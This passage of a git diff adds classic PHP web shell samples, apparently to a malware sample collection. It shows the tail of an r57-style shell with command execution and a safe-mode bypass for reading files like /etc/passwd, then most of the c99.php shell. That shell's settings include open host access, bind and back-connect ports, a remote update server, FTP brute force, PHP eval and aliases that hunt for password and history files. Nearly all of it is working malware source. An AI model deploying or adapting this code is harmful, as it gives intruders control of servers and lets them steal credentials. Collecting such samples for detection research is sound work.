+"R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAgv///wAAAAAAgICAgMDAwAAAAAAAAAAAAANC". +"WLPc9XCASScZ8MlKicobBwRkEIkVYWqT4FICoJ5v7c6s3cqrArwinE/349FiNoFw44rtlqhOL4Ra". +"Eq7YrLDE7a4SADs=", +"ext_ini"=> +"R0lGODlhEAAQACIAACH5BAEAAAYALAAAAAAQABAAggAAAP///8DAwICAgICAAP//AAAAAAAAAANL". +"aArB3ioaNkK9MNbHs6lBKIoCoI1oUJ4N4DCqqYBpuM6hq8P3hwoEgU3mawELBEaPFiAUAMgYy3VM". +"SnEjgPVarHEHgrB43JvszsQEADs=", +"ext_diz"=> +"R0lGODlhEAAQAHcAACH5BAEAAJUALAAAAAAQABAAhwAAAP///15phcfb6NLs/7Pc/+P0/3J+l9bs". +"/52nuqjK5/n///j///7///r//0trlsPn/8nn/8nZ5trm79nu/8/q/9Xt/9zw/93w/+j1/9Hr/+Dv". +"/d7v/73H0MjU39zu/9br/8ne8tXn+K6/z8Xj/LjV7dDp/6K4y8bl/5O42Oz2/7HW9Ju92u/9/8T3". +"/+L//+7+/+v6/+/6/9H4/+X6/+Xl5Pz//+/t7fX08vD//+3///P///H///P7/8nq/8fp/8Tl98zr". +"/+/z9vT4++n1/b/k/dny/9Hv/+v4/9/0/9fw/8/u/8vt/+/09xUvXhQtW4KTs2V1kw4oVTdYpDZX". +"pVxqhlxqiExkimKBtMPL2Ftvj2OV6aOuwpqlulyN3cnO1wAAXQAAZSM8jE5XjgAAbwAAeURBYgAA". +"dAAAdzZEaE9wwDZYpmVviR49jG12kChFmgYuj6+1xeLn7Nzj6pm20oeqypS212SJraCyxZWyz7PW". +"9c/o/87n/8DX7MHY7q/K5LfX9arB1srl/2+fzq290U14q7fCz6e2yXum30FjlClHc4eXr6bI+bTK". +"4rfW+NXe6Oby/5SvzWSHr+br8WuKrQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAjgACsJrDRHSICDQ7IMXDgJx8EvZuIcbPBooZwbBwOMAfMmYwBCA2sEcNBjJCMYATLIOLiokocm". +"C1QskAClCxcGBj7EsNHoQAciSCC1mNAmjJgGGEBQoBHigKENBjhcCBAIzRoGFkwQMNKnyggRSRAg". +"2BHpDBUeewRV0PDHCp4BSgjw0ZGHzJQcEVD4IEHJzYkBfo4seYGlDBwgTCAAYvFE4KEBJYI4UrPF". +"CyIIK+woYjMwQQI6Cor8mKEnxR0nAhYKjHJFQYECkqSkSa164IM6LhLRrr3wwaBCu3kPFKCldkAA". +"Ow==", +"ext_doc"=> +"R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAggAAAP///8DAwAAA/4CAgAAAAAAAAAAAAANR". +"WErcrrCQQCslQA2wOwdXkIFWNVBA+nme4AZCuolnRwkwF9QgEOPAFG21A+Z4sQHO94r1eJRTJVmq". +"MIOrrPSWWZRcza6kaolBCOB0WoxRud0JADs=", +"ext_exe"=> +"R0lGODlhEwAOAKIAAAAAAP///wAAvcbGxoSEhP///wAAAAAAACH5BAEAAAUALAAAAAATAA4AAAM7". +"WLTcTiWSQautBEQ1hP+gl21TKAQAio7S8LxaG8x0PbOcrQf4tNu9wa8WHNKKRl4sl+y9YBuAdEqt". +"xhIAOw==", +"ext_h"=> +"R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAgv///wAAAAAAgICAgMDAwAAAAAAAAAAAAANB". +"WLPc9XCASScZ8MlKCcARRwVkEAKCIBKmNqVrq7wpbMmbbbOnrgI8F+q3w9GOQOMQGZyJOspnMkKo". +"Wq/NknbbSgAAOw==", +"ext_hpp"=> +"R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAgv///wAAAAAAgICAgMDAwAAAAAAAAAAAAANF". +"WLPc9XCASScZ8MlKicobBwRkEAGCIAKEqaFqpbZnmk42/d43yroKmLADlPBis6LwKNAFj7jfaWVR". +"UqUagnbLdZa+YFcCADs=", +"ext_htaccess"=> +"R0lGODlhEAAQACIAACH5BAEAAAYALAAAAAAQABAAggAAAP8AAP8A/wAAgIAAgP//AAAAAAAAAAM6". +"WEXW/k6RAGsjmFoYgNBbEwjDB25dGZzVCKgsR8LhSnprPQ406pafmkDwUumIvJBoRAAAlEuDEwpJ". +"AAA7", +"ext_html"=> +"R0lGODlhEwAQALMAAAAAAP///2trnM3P/FBVhrPO9l6Itoyt0yhgk+Xy/WGp4sXl/i6Z4mfd/HNz". +"c////yH5BAEAAA8ALAAAAAATABAAAAST8Ml3qq1m6nmC/4GhbFoXJEO1CANDSociGkbACHi20U3P". +"KIFGIjAQODSiBWO5NAxRRmTggDgkmM7E6iipHZYKBVNQSBSikukSwW4jymcupYFgIBqL/MK8KBDk". +"Bkx2BXWDfX8TDDaFDA0KBAd9fnIKHXYIBJgHBQOHcg+VCikVA5wLpYgbBKurDqysnxMOs7S1sxIR". +"ADs=", +"ext_jpg"=> +"R0lGODlhEAAQADMAACH5BAEAAAkALAAAAAAQABAAgwAAAP///8DAwICAgICAAP8AAAD/AIAAAACA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARccMhJk70j6K3FuFbGbULwJcUhjgHgAkUqEgJNEEAgxEci". +"Ci8ALsALaXCGJK5o1AGSBsIAcABgjgCEwAMEXp0BBMLl/A6x5WZtPfQ2g6+0j8Vx+7b4/NZqgftd". +"FxEAOw==", +"ext_js"=> +"R0lGODdhEAAQACIAACwAAAAAEAAQAIL///8AAACAgIDAwMD//wCAgAAAAAAAAAADUCi63CEgxibH". +"k0AQsG200AQUJBgAoMihj5dmIxnMJxtqq1ddE0EWOhsG16m9MooAiSWEmTiuC4Tw2BB0L8FgIAhs". +"a00AjYYBbc/o9HjNniUAADs=", +"ext_lnk"=> +"R0lGODlhEAAQAGYAACH5BAEAAFAALAAAAAAQABAAhgAAAABiAGPLMmXMM0y/JlfFLFS6K1rGLWjO". +"NSmuFTWzGkC5IG3TOo/1XE7AJx2oD5X7YoTqUYrwV3/lTHTaQXnfRmDGMYXrUjKQHwAMAGfNRHzi". +"Uww5CAAqADOZGkasLXLYQghIBBN3DVG2NWnPRnDWRwBOAB5wFQBBAAA+AFG3NAk5BSGHEUqwMABk". +"AAAgAAAwAABfADe0GxeLCxZcDEK6IUuxKFjFLE3AJ2HHMRKiCQWCAgBmABptDg+HCBZeDAqFBWDG". +"MymUFQpWBj2fJhdvDQhOBC6XF3fdR0O6IR2ODwAZAHPZQCSREgASADaXHwAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAeZgFBQPAGFhocAgoI7Og8JCgsEBQIWPQCJgkCOkJKUP5eYUD6PkZM5". +"NKCKUDMyNTg3Agg2S5eqUEpJDgcDCAxMT06hgk26vAwUFUhDtYpCuwZByBMRRMyCRwMGRkUg0xIf". +"1lAeBiEAGRgXEg0t4SwroCYlDRAn4SmpKCoQJC/hqVAuNGzg8E9RKBEjYBS0JShGh4UMoYASBiUQ". +"ADs=", +"ext_log"=> +"R0lGODlhEAAQADMAACH5BAEAAAgALAAAAAAQABAAg////wAAAMDAwICAgICAAAAAgAAA////AAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARQEKEwK6UyBzC475gEAltJklLRAWzbClRhrK4Ly5yg7/wN". +"zLUaLGBQBV2EgFLV4xEOSSWt9gQQBpRpqxoVNaPKkFb5Eh/LmUGzF5qE3+EMIgIAOw==", +"ext_php"=> +"R0lGODlhEAAQAAAAACH5BAEAAAEALAAAAAAQABAAgAAAAAAAAAImDA6hy5rW0HGosffsdTpqvFlg". +"t0hkyZ3Q6qloZ7JimomVEb+uXAAAOw==", +"ext_pl"=> +"R0lGODlhFAAUAKL/AP/4/8DAwH9/AP/4AL+/vwAAAAAAAAAAACH5BAEAAAEALAAAAAAUABQAQAMo". +"GLrc3gOAMYR4OOudreegRlBWSJ1lqK5s64LjWF3cQMjpJpDf6//ABAA7", +"ext_swf"=> +"R0lGODlhFAAUAMQRAP+cnP9SUs4AAP+cAP/OAIQAAP9jAM5jnM6cY86cnKXO98bexpwAAP8xAP/O". +"nAAAAP///////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEA". +"ABEALAAAAAAUABQAAAV7YCSOZGme6PmsbMuqUCzP0APLzhAbuPnQAweE52g0fDKCMGgoOm4QB4GA". +"GBgaT2gMQYgVjUfST3YoFGKBRgBqPjgYDEFxXRpDGEIA4xAQQNR1NHoMEAACABFhIz8rCncMAGgC". +"NysLkDOTSCsJNDJanTUqLqM2KaanqBEhADs=", +"ext_tar"=> +"R0lGODlhEAAQAGYAACH5BAEAAEsALAAAAAAQABAAhgAAABlOAFgdAFAAAIYCUwA8ZwA8Z9DY4JIC". +"Wv///wCIWBE2AAAyUJicqISHl4CAAPD4/+Dg8PX6/5OXpL7H0+/2/aGmsTIyMtTc5P//sfL5/8XF". +"HgBYpwBUlgBWn1BQAG8aIABQhRbfmwDckv+H11nouELlrizipf+V3nPA/40CUzmm/wA4XhVDAAGD". +"UyWd/0it/1u1/3NzAP950P990mO5/7v14YzvzXLrwoXI/5vS/7Dk/wBXov9syvRjwOhatQCHV17p". +"uo0GUQBWnP++8Lm5AP+j5QBUlACKWgA4bjJQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAeegAKCg4SFSxYNEw4gMgSOj48DFAcHEUIZREYoJDQzPT4/AwcQCQkg". +"GwipqqkqAxIaFRgXDwO1trcAubq7vIeJDiwhBcPExAyTlSEZOzo5KTUxMCsvDKOlSRscHDweHkMd". +"HUcMr7GzBufo6Ay87Lu+ii0fAfP09AvIER8ZNjc4QSUmTogYscBaAiVFkChYyBCIiwXkZD2oR3FB". +"u4tLAgEAOw==", +"ext_txt"=> +"R0lGODlhEwAQAKIAAAAAAP///8bGxoSEhP///wAAAAAAAAAAACH5BAEAAAQALAAAAAATABAAAANJ". +"SArE3lDJFka91rKpA/DgJ3JBaZ6lsCkW6qqkB4jzF8BS6544W9ZAW4+g26VWxF9wdowZmznlEup7". +"UpPWG3Ig6Hq/XmRjuZwkAAA7", +"ext_wri"=> +"R0lGODlhEAAQADMAACH5BAEAAAgALAAAAAAQABAAg////wAAAICAgMDAwICAAAAAgAAA////AAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARRUMhJkb0C6K2HuEiRcdsAfKExkkDgBoVxstwAAypduoao". +"a4SXT0c4BF0rUhFAEAQQI9dmebREW8yXC6Nx2QI7LrYbtpJZNsxgzW6nLdq49hIBADs=", +"ext_xml"=> +"R0lGODlhEAAQAEQAACH5BAEAABAALAAAAAAQABAAhP///wAAAPHx8YaGhjNmmabK8AAAmQAAgACA". +"gDOZADNm/zOZ/zP//8DAwDPM/wAA/wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAVk4CCOpAid0ACsbNsMqNquAiA0AJzSdl8HwMBOUKghEApbESBUFQwABICx". +"OAAMxebThmA4EocatgnYKhaJhxUrIBNrh7jyt/PZa+0hYc/n02V4dzZufYV/PIGJboKBQkGPkEEQ". +"IQA7" + ); + //For simple size- and speed-optimization. + $imgequals = array( + "ext_tar"=>array("ext_tar","ext_r00","ext_ace","ext_arj","ext_bz","ext_bz2","ext_tbz","ext_tbz2","ext_tgz","ext_uu","ext_xxe","ext_zip","ext_cab","ext_gz","ext_iso","ext_lha","ext_lzh","ext_pbk","ext_rar","ext_uuf"), + "ext_php"=>array("ext_php","ext_php3","ext_php4","ext_php5","ext_phtml","ext_shtml","ext_htm"), + "ext_jpg"=>array("ext_jpg","ext_gif","ext_png","ext_jpeg","ext_jfif","ext_jpe","ext_bmp","ext_ico","ext_tif","tiff"), + "ext_html"=>array("ext_html","ext_htm"), + "ext_avi"=>array("ext_avi","ext_mov","ext_mvi","ext_mpg","ext_mpeg","ext_wmv","ext_rm"), + "ext_lnk"=>array("ext_lnk","ext_url"), + "ext_ini"=>array("ext_ini","ext_css","ext_inf"), + "ext_doc"=>array("ext_doc","ext_dot"), + "ext_js"=>array("ext_js","ext_vbs"), + "ext_cmd"=>array("ext_cmd","ext_bat","ext_pif"), + "ext_wri"=>array("ext_wri","ext_rtf"), + "ext_swf"=>array("ext_swf","ext_fla"), + "ext_mp3"=>array("ext_mp3","ext_au","ext_midi","ext_mid"), + "ext_htaccess"=>array("ext_htaccess","ext_htpasswd","ext_ht","ext_hta","ext_so") + ); + if (!$getall) + { + header("Content-type: image/gif"); + header("Cache-control: public"); + header("Expires: ".date("r",mktime(0,0,0,1,1,2030))); + header("Cache-control: max-age=".(60*60*24*7)); + header("Last-Modified: ".date("r",filemtime(__FILE__))); + foreach($imgequals as $k=>$v) {if (in_array($img,$v)) {$img = $k; break;}} + if (empty($images[$img])) {$img = "small_unk";} + if (in_array($img,$ext_tar)) {$img = "ext_tar";} + echo base64_decode($images[$img]); + } + else + { + foreach($imgequals as $a=>$b) {foreach ($b as $d) {if ($a != $d) {if (!empty($images[$d])) {echo("Warning! Remove \$images[".$d."]
    ");}}}} + natsort($images); + $k = array_keys($images); + echo "
    "; + foreach ($k as $u) {echo $u.":
    ";} + echo "
    "; + } + exit; +} +if ($act == "about") {echo "
    Undetectable version by
    Spyk1r4
    ";} +?> +
    + +

    :: Command execute ::

    Enter:
     
    Select:
     
    +
    + + + + + +

    :: Shadow's tricks :D ::

    +
    Useful Commands +
    +
    +
    + + + + +   + +
    + Warning. Kernel may be alerted using higher levels
    +
    +
    +
    Kernel Info:
    + + + + + + +
    +

    + + + + + +

    :: Preddy's tricks :D ::

    +
    Php Safe-Mode Bypass (Read Files) +

    +
    +
    + File:

    eg: /etc/passwd
    + + + + + + + Trying To Get File $get
    "; + if(copy("compress.zlib://".$file, $temp)){ + $fichier = fopen($temp, "r"); + $action = fread($fichier, filesize($temp)); + fclose($fichier); + $source=htmlspecialchars($action); + echo "
    Start $get

    $source

    Fin $get
    "; + unlink($temp); + } else { + die("
    Sorry... File + ".htmlspecialchars($file)." dosen't exists or you don't have + access.
    "); + } + echo "
    "; + } + + if(isset($_GET['file'])) +{ +rsg_read(); +} + + ?> + + $chemin
    "; +foreach ($files as $filename) { + echo "
    ";
    +   echo "$filename\n";
    +   echo "
    "; +} +} + +if(isset($_GET['directory'])) +{ +rsg_glob(); +} + +?> + +
    +
    +
    +
    +
    Php Safe-Mode Bypass (List Directories):
    +

    + Dir:

    eg: /etc/
    + +
    +

    + + + + + + +
    :: Search ::
      - regexp 

    :: Upload ::
     
    +
    :: Make Dir ::
     
    :: Make File ::
     
    +
    :: Go Dir ::
     
    :: Go File ::
     
    + +

    --[ ROOT Shell MeTeaL TeaM . o R g Modded by root @ MeTaLTeaM.ORG R57 | Generation time: ]--

    + diff --git a/data/samples/classic/c99.php b/data/samples/classic/c99.php new file mode 100644 index 0000000..78884d2 --- /dev/null +++ b/data/samples/classic/c99.php @@ -0,0 +1,3157 @@ +$v) {if (strtoupper($k) != "GLOBALS") {strips($arr["$k"]);}}} else {$arr = stripslashes($arr);}}} strips($GLOBALS);} +$_REQUEST = array_merge($_COOKIE,$_GET,$_POST); +foreach($_REQUEST as $k=>$v) {if (!isset($$k)) {$$k = $v;}} + +$shver = "1.0 pre-release build #16"; //Current version +//CONFIGURATION AND SETTINGS +if (!empty($unset_surl)) {setcookie("c999sh_surl"); $surl = "";} +elseif (!empty($set_surl)) {$surl = $set_surl; setcookie("c999sh_surl",$surl);} +else {$surl = $_REQUEST["c999sh_surl"]; //Set this cookie for manual SURL +} + +$surl_autofill_include = TRUE; //If TRUE then search variables with descriptors (URLs) and save it in SURL. + +if ($surl_autofill_include and !$_REQUEST["c999sh_surl"]) {$include = "&"; foreach (explode("&",getenv("QUERY_STRING")) as $v) {$v = explode("=",$v); $name = urldecode($v[0]); $value = urldecode($v[1]); foreach (array("http://","https://","ssl://","ftp://","\\\\") as $needle) {if (strpos($value,$needle) === 0) {$includestr .= urlencode($name)."=".urlencode($value)."&";}}} if ($_REQUEST["surl_autofill_include"]) {$includestr .= "surl_autofill_include=1&";}} +if (empty($surl)) +{ + $surl = "?".$includestr; //Self url +} +$surl = htmlspecialchars($surl); + +$timelimit = 0; //time limit of execution this script over server quote (seconds), 0 = unlimited. + +//Authentication +$login = ""; //login +//DON'T FORGOT ABOUT PASSWORD!!! +$pass = ""; //password +$md5_pass = ""; //md5-cryped pass. if null, md5($pass) + +$host_allow = array("*"); //array ("{mask}1","{mask}2",...), {mask} = IP or HOST e.g. array("192.168.0.*","127.0.0.1") +$login_txt = "Restricted area"; //http-auth message. +$accessdeniedmess = "
    c999shell v.".$shver.": access denied"; + +$gzipencode = TRUE; //Encode with gzip? + +$updatenow = FALSE; //If TRUE, update now (this variable will be FALSE) + +$c999sh_updateurl = "http://ccteam.ru/update/c999shell/"; //Update server +$c999sh_sourcesurl = "http://ccteam.ru/files/c999sh_sources/"; //Sources-server + +$filestealth = TRUE; //if TRUE, don't change modify- and access-time + +$donated_html = "
    Owned by hacker
    "; +/* If you publish free shell and you wish +add link to your site or any other information, +put here your html. */ +$donated_act = array(""); //array ("act1","act2,"...), if $act is in this array, display $donated_html. + +$curdir = "./"; //start folder +//$curdir = getenv("DOCUMENT_ROOT"); +$tmpdir = ""; //Folder for tempory files. If empty, auto-fill (/tmp or %WINDIR/temp) +$tmpdir_log = "./"; //Directory logs of long processes (e.g. brute, scan...) + +$log_email = "user@host.tld"; //Default e-mail for sending logs + +$sort_default = "0a"; //Default sorting, 0 - number of colomn, "a"scending or "d"escending +$sort_save = TRUE; //If TRUE then save sorting-position using cookies. + +// Registered file-types. +// array( +// "{action1}"=>array("ext1","ext2","ext3",...), +// "{action2}"=>array("ext4","ext5","ext6",...), +// ... +// ) +$ftypes = array( + "html"=>array("html","htm","shtml"), + "txt"=>array("txt","conf","bat","sh","js","bak","doc","log","sfc","cfg","htaccess"), + "exe"=>array("sh","install","bat","cmd"), + "ini"=>array("ini","inf"), + "code"=>array("php","phtml","php3","php4","inc","tcl","h","c","cpp","py","cgi","pl"), + "img"=>array("gif","png","jpeg","jfif","jpg","jpe","bmp","ico","tif","tiff","avi","mpg","mpeg"), + "sdb"=>array("sdb"), + "phpsess"=>array("sess"), + "download"=>array("exe","com","pif","src","lnk","zip","rar","gz","tar") +); + +// Registered executable file-types. +// array( +// string "command{i}"=>array("ext1","ext2","ext3",...), +// ... +// ) +// {command}: %f% = filename +$exeftypes = array( + getenv("PHPRC")." -q %f%" => array("php","php3","php4"), + "perl %f%" => array("pl","cgi") +); + +/* Highlighted files. + array( + i=>array({regexp},{type},{opentag},{closetag},{break}) + ... + ) + string {regexp} - regular exp. + int {type}: +0 - files and folders (as default), +1 - files only, 2 - folders only + string {opentag} - open html-tag, e.g. "" (default) + string {closetag} - close html-tag, e.g. "" (default) + bool {break} - if TRUE and found match then break +*/ +$regxp_highlight = array( + array(basename($_SERVER["PHP_SELF"]),1,"",""), // example + array("config.php",1) // example +); + +$safemode_diskettes = array("a"); // This variable for disabling diskett-errors. + // array (i=>{letter} ...); string {letter} - letter of a drive +//$safemode_diskettes = range("a","z"); +$hexdump_lines = 8;// lines in hex preview file +$hexdump_rows = 24;// 16, 24 or 32 bytes in one line + +$nixpwdperpage = 100; // Get first N lines from /etc/passwd + +$bindport_pass = "c999"; // default password for binding +$bindport_port = "31373"; // default port for binding +$bc_port = "31373"; // default port for back-connect +$datapipe_localport = "8081"; // default port for datapipe + +// Command-aliases +if (!$win) +{ + $cmdaliases = array( + array("-----------------------------------------------------------", "ls -la"), + array("find all suid files", "find / -type f -perm -04000 -ls"), + array("find suid files in current dir", "find . -type f -perm -04000 -ls"), + array("find all sgid files", "find / -type f -perm -02000 -ls"), + array("find sgid files in current dir", "find . -type f -perm -02000 -ls"), + array("find config.inc.php files", "find / -type f -name config.inc.php"), + array("find config* files", "find / -type f -name \"config*\""), + array("find config* files in current dir", "find . -type f -name \"config*\""), + array("find all writable folders and files", "find / -perm -2 -ls"), + array("find all writable folders and files in current dir", "find . -perm -2 -ls"), + array("find all service.pwd files", "find / -type f -name service.pwd"), + array("find service.pwd files in current dir", "find . -type f -name service.pwd"), + array("find all .htpasswd files", "find / -type f -name .htpasswd"), + array("find .htpasswd files in current dir", "find . -type f -name .htpasswd"), + array("find all .bash_history files", "find / -type f -name .bash_history"), + array("find .bash_history files in current dir", "find . -type f -name .bash_history"), + array("find all .fetchmailrc files", "find / -type f -name .fetchmailrc"), + array("find .fetchmailrc files in current dir", "find . -type f -name .fetchmailrc"), + array("list file attributes on a Linux second extended file system", "lsattr -va"), + array("show opened ports", "netstat -an | grep -i listen") + ); +} +else +{ + $cmdaliases = array( + array("-----------------------------------------------------------", "dir"), + array("show opened ports", "netstat -an") + ); +} + +$sess_cookie = "c999shvars"; // Cookie-variable name + +$usefsbuff = TRUE; //Buffer-function +$copy_unset = FALSE; //Remove copied files from buffer after pasting + +//Quick launch +$quicklaunch = array( + array("\"Home\"",$surl), + array("\"Back\"","#\" onclick=\"history.back(1)"), + array("\"Forward\"","#\" onclick=\"history.go(1)"), + array("\"UPDIR\"",$surl."act=ls&d=%upd&sort=%sort"), + array("\"Refresh\"",""), + array("\"Search\"",$surl."act=search&d=%d"), + array("\"Buffer\"",$surl."act=fsbuff&d=%d"), + array("Encoder",$surl."act=encoder&d=%d"), + array("Tools",$surl."act=tools&d=%d"), + array("Proc.",$surl."act=processes&d=%d"), + array("FTP brute",$surl."act=ftpquickbrute&d=%d"), + array("Sec.",$surl."act=security&d=%d"), + array("SQL",$surl."act=sql&d=%d"), + array("PHP-code",$surl."act=eval&d=%d"), + array("Update",$surl."act=update&d=%d"), + array("Feedback",$surl."act=feedback&d=%d"), + array("Self remove",$surl."act=selfremove"), + array("Logout","#\" onclick=\"if (confirm('Are you sure?')) window.close()") +); + +//Highlight-code colors +$highlight_background = "#c0c0c0"; +$highlight_bg = "#FFFFFF"; +$highlight_comment = "#6A6A6A"; +$highlight_default = "#0000BB"; +$highlight_html = "#1300FF"; +$highlight_keyword = "#007700"; +$highlight_string = "#000000"; + +@$f = $_REQUEST["f"]; +@extract($_REQUEST["c999shcook"]); + +//END CONFIGURATION + + +// \/Next code isn't for editing\/ +@set_time_limit(0); +$tmp = array(); +foreach($host_allow as $k=>$v) {$tmp[] = str_replace("\\*",".*",preg_quote($v));} +$s = "!^(".implode("|",$tmp).")$!i"; +if (!preg_match($s,getenv("REMOTE_ADDR")) and !preg_match($s,gethostbyaddr(getenv("REMOTE_ADDR")))) {exit("c999shell: Access Denied - your host (".getenv("REMOTE_ADDR").") not allow");} +if (!empty($login)) +{ + if (empty($md5_pass)) {$md5_pass = md5($pass);} + if (($_SERVER["PHP_AUTH_USER"] != $login) or (md5($_SERVER["PHP_AUTH_PW"]) != $md5_pass)) + { + if (empty($login_txt)) {$login_txt = strip_tags(ereg_replace(" |
    "," ",$donated_html));} + header("WWW-Authenticate: Basic realm=\"c999shell ".$shver.": ".$login_txt."\""); + header("HTTP/1.0 401 Unauthorized"); + exit($accessdeniedmess); + } +} +if ($act != "img") +{ +$lastdir = realpath("."); +chdir($curdir); +if ($selfwrite or $updatenow) {@ob_clean(); c999sh_getupdate($selfwrite,1); exit;} +$sess_data = unserialize($_COOKIE["$sess_cookie"]); +if (!is_array($sess_data)) {$sess_data = array();} +if (!is_array($sess_data["copy"])) {$sess_data["copy"] = array();} +if (!is_array($sess_data["cut"])) {$sess_data["cut"] = array();} + +$disablefunc = @ini_get("disable_functions"); +if (!empty($disablefunc)) +{ + $disablefunc = str_replace(" ","",$disablefunc); + $disablefunc = explode(",",$disablefunc); +} + +if (!function_exists("c999_buff_prepare")) +{ +function c999_buff_prepare() +{ + global $sess_data; + global $act; + foreach($sess_data["copy"] as $k=>$v) {$sess_data["copy"][$k] = str_replace("\\",DIRECTORY_SEPARATOR,realpath($v));} + foreach($sess_data["cut"] as $k=>$v) {$sess_data["cut"][$k] = str_replace("\\",DIRECTORY_SEPARATOR,realpath($v));} + $sess_data["copy"] = array_unique($sess_data["copy"]); + $sess_data["cut"] = array_unique($sess_data["cut"]); + sort($sess_data["copy"]); + sort($sess_data["cut"]); + if ($act != "copy") {foreach($sess_data["cut"] as $k=>$v) {if ($sess_data["copy"][$k] == $v) {unset($sess_data["copy"][$k]); }}} + else {foreach($sess_data["copy"] as $k=>$v) {if ($sess_data["cut"][$k] == $v) {unset($sess_data["cut"][$k]);}}} +} +} +c999_buff_prepare(); +if (!function_exists("c999_sess_put")) +{ +function c999_sess_put($data) +{ + global $sess_cookie; + global $sess_data; + c999_buff_prepare(); + $sess_data = $data; + $data = serialize($data); + setcookie($sess_cookie,$data); +} +} +foreach (array("sort","sql_sort") as $v) +{ + if (!empty($_GET[$v])) {$$v = $_GET[$v];} + if (!empty($_POST[$v])) {$$v = $_POST[$v];} +} +if ($sort_save) +{ + if (!empty($sort)) {setcookie("sort",$sort);} + if (!empty($sql_sort)) {setcookie("sql_sort",$sql_sort);} +} +if (!function_exists("str2mini")) +{ +function str2mini($content,$len) +{ + if (strlen($content) > $len) + { + $len = ceil($len/2) - 2; + return substr($content, 0,$len)."...".substr($content,-$len); + } + else {return $content;} +} +} +if (!function_exists("view_size")) +{ +function view_size($size) +{ + if (!is_numeric($size)) {return FALSE;} + else + { + if ($size >= 1073741824) {$size = round($size/1073741824*100)/100 ." GB";} + elseif ($size >= 1048576) {$size = round($size/1048576*100)/100 ." MB";} + elseif ($size >= 1024) {$size = round($size/1024*100)/100 ." KB";} + else {$size = $size . " B";} + return $size; + } +} +} +if (!function_exists("fs_copy_dir")) +{ +function fs_copy_dir($d,$t) +{ + $d = str_replace("\\",DIRECTORY_SEPARATOR,$d); + if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} + $h = opendir($d); + while (($o = readdir($h)) !== FALSE) + { + if (($o != ".") and ($o != "..")) + { + if (!is_dir($d.DIRECTORY_SEPARATOR.$o)) {$ret = copy($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);} + else {$ret = mkdir($t.DIRECTORY_SEPARATOR.$o); fs_copy_dir($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);} + if (!$ret) {return $ret;} + } + } + closedir($h); + return TRUE; +} +} +if (!function_exists("fs_copy_obj")) +{ +function fs_copy_obj($d,$t) +{ + $d = str_replace("\\",DIRECTORY_SEPARATOR,$d); + $t = str_replace("\\",DIRECTORY_SEPARATOR,$t); + if (!is_dir(dirname($t))) {mkdir(dirname($t));} + if (is_dir($d)) + { + if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} + if (substr($t,-1) != DIRECTORY_SEPARATOR) {$t .= DIRECTORY_SEPARATOR;} + return fs_copy_dir($d,$t); + } + elseif (is_file($d)) {return copy($d,$t);} + else {return FALSE;} +} +} +if (!function_exists("fs_move_dir")) +{ +function fs_move_dir($d,$t) +{ + $h = opendir($d); + if (!is_dir($t)) {mkdir($t);} + while (($o = readdir($h)) !== FALSE) + { + if (($o != ".") and ($o != "..")) + { + $ret = TRUE; + if (!is_dir($d.DIRECTORY_SEPARATOR.$o)) {$ret = copy($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);} + else {if (mkdir($t.DIRECTORY_SEPARATOR.$o) and fs_copy_dir($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o)) {$ret = FALSE;}} + if (!$ret) {return $ret;} + } + } + closedir($h); + return TRUE; +} +} +if (!function_exists("fs_move_obj")) +{ +function fs_move_obj($d,$t) +{ + $d = str_replace("\\",DIRECTORY_SEPARATOR,$d); + $t = str_replace("\\",DIRECTORY_SEPARATOR,$t); + if (is_dir($d)) + { + if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} + if (substr($t,-1) != DIRECTORY_SEPARATOR) {$t .= DIRECTORY_SEPARATOR;} + return fs_move_dir($d,$t); + } + elseif (is_file($d)) + { + if(copy($d,$t)) {return unlink($d);} + else {unlink($t); return FALSE;} + } + else {return FALSE;} +} +} +if 